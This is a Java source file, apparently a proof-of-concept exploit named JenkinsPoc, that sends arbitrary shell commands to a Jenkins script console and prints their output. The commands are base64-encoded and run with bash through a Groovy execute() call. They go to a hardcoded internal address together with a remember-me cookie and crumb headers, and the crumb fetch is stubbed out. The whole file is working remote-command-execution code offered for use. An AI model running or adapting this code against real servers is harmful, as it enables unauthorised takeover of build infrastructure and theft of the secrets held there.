package com.gitee.voidbyte.pocs;

import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.Base64;
import java.util.Map;

public class JenkinsPoc {

    //runCommand("id");
    public boolean runCommand(String cmd) {

        //if (!accessOK()) return false;
        String encodedCmd = Base64.getEncoder().encodeToString(cmd.getBytes());
        String script = "['bash', '-c',  new String(\""+  encodedCmd + "\".decodeBase64())].execute().text";
        String response = sendScript(script);
        if (response != null) System.out.print(response.substring(8));
        return true;
    }

    public String sendScript(String script) {
        try {
            Map<String, String> jenkinsCrumbData = fetchJenkinsCrumb();  // Fetch the crumb and JSESSIONID
            String response = sendScriptToJenkins(script, jenkinsCrumbData);
            return response;
        } catch (Exception e) {
            System.err.println("[!] Error sending script to Jenkins: " + e.getMessage());
            //e.printStackTrace();
        }
        return null;
    }

    private Map<String, String> fetchJenkinsCrumb() {
        // Return both crumb and JSESSIONID in a map
        return Map.of(
                "crumb", "crumb",
                "crumbRequestField", "crumbRequestField",
                "JSESSIONID", "jSessionId"
        );
    }

    private String sendScriptToJenkins(String script, Map<String, String> jenkinsCrumbData) throws Exception {

        // Set up the Jenkins script console URL
        URL url = new URL("http://172.31.244.181:8080/jenkins/scriptText");

        // Open the HTTP connection
        HttpURLConnection connection = (HttpURLConnection) url.openConnection();
        connection.setRequestMethod("POST");
        connection.setDoOutput(true);

                // Set headers with Remember Me cookie, Crumb Token, and JSESSIONID
        connection.setRequestProperty("Cookie", "remember-me=" + "this.cookie" + "; " + jenkinsCrumbData.get("JSESSIONID"));
        connection.setRequestProperty(jenkinsCrumbData.get("crumbRequestField"), jenkinsCrumbData.get("crumb"));
        connection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");

        // Send the script as data in the request body
        String postData = "script=" + java.net.URLEncoder.encode(script, "UTF-8");
        try (OutputStream os = connection.getOutputStream()) {
            os.write(postData.getBytes());
            os.flush();
        }

        // Read the server response
        BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));
        String inputLine;
        StringBuilder content = new StringBuilder();
        while ((inputLine = in.readLine()) != null) {
            content.append(inputLine).append("\n");
        }

        // Close the connections
        in.close();
        connection.disconnect();

        return content.toString();
    }
}
